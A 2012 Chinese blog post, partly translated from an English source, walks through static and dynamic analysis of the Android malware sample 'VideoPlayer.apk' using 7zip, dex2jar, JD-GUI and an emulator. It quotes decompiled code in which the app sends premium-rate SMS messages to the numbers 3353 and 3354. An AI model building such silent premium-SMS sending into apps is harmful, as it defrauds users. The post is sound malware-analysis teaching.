Ted

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

 Android平台在不断发展。当一个产品使用者越来越多的时候,恶意代码编写者会编写针对新平台的恶意代码。最近有非常多的针对Android malware 的报道。在逆向工程中我们使用以下两种方法来分析恶意代码:

----静态分析

----动态分析

     首先拿到一个叫”VideoPalyer“的Android malware,

文件:VideoPlayer.apk

MD5:fdb84ff8125b3790011b83cc85adce16

     apk代表Android应用文件。每个Android应用都被编译和打包成一个单独文件,包含所有的应用代码(dex文件),resources,assets,和manifest文件。应用包名字可以任意取,但是后缀必须是.apk.

    .dex文件是编译后的Android应用代码文件。Android程序被编译成.dex(Dalvik执行程序)文件,然后和resoueces等等一起被打包成apk文件。java代码会被编译成class文件,class文件会被编译成dex文件。所以,dex文件中有需要的java代码。

   用7zip打开VideoPlayer.apk的目录结构如下:

 

使用7zip解压,就可以得到dex文件,用dex2jar就可以把.dex转换成.jar文件,然后用JD-GUI就可以反编译.jar文件。JD-GUI参见(http://java.decompiler.free.fr/?q=jdgui) ;

 


 

HelloWorld和MoviePlayer需要重点关注。

 

Things that look worth examining are ‘HelloWorld’ and ‘Movieplayer’.

在‘HelloWorld’ 有下面的代码和俄语文本:

super.onCreate(paramBundle);
TextView localTextView = new TextView(this);
localTextView.setText
("Нажмите ок для доступа к видеотеке");

俄语文本的意思是: ‘Press ok for access to the videotape library’

In the next part of the code, following was discovered:
localSmsManager.sendTextMessage(“3353“, null, “798657“, null, null);
str1 = “3354“;
try
{
localSmsManager.sendTextMessage(str1, str2, “798657″, localPendingIntent1, localPendingIntent2);
str1 = “3353″;


分析代码发现,在Google上搜索‘3353’和‘3354’后,这个程序试图给‘3353’和‘3354’发内容为‘798657’的短消息(SMS),它们属于一个叫做‘INcoreMedia Ltd’的俄罗斯公司。这些SMS号码被称为‘High premium rate’号码。在更多的scams也被使用过。

上面代码也出现在MoviePlayer类中。

      为了动态分析,Android SDK toolkit以及它们依赖的组件都需要被安装。然后创建生成一个虚拟设备,就可以把VideoPlayer.apk安装到这个虚拟设备上。

点击Movie Player图标,没有观察到异常,但是通过静态分析可以知道,在激活这个app之后,它会试图发送SMS消息。

 

http://securitybananas.com/?p=574

posted on 2012-01-02 21:22  wufawei  阅读(330)  评论(0编辑  收藏  举报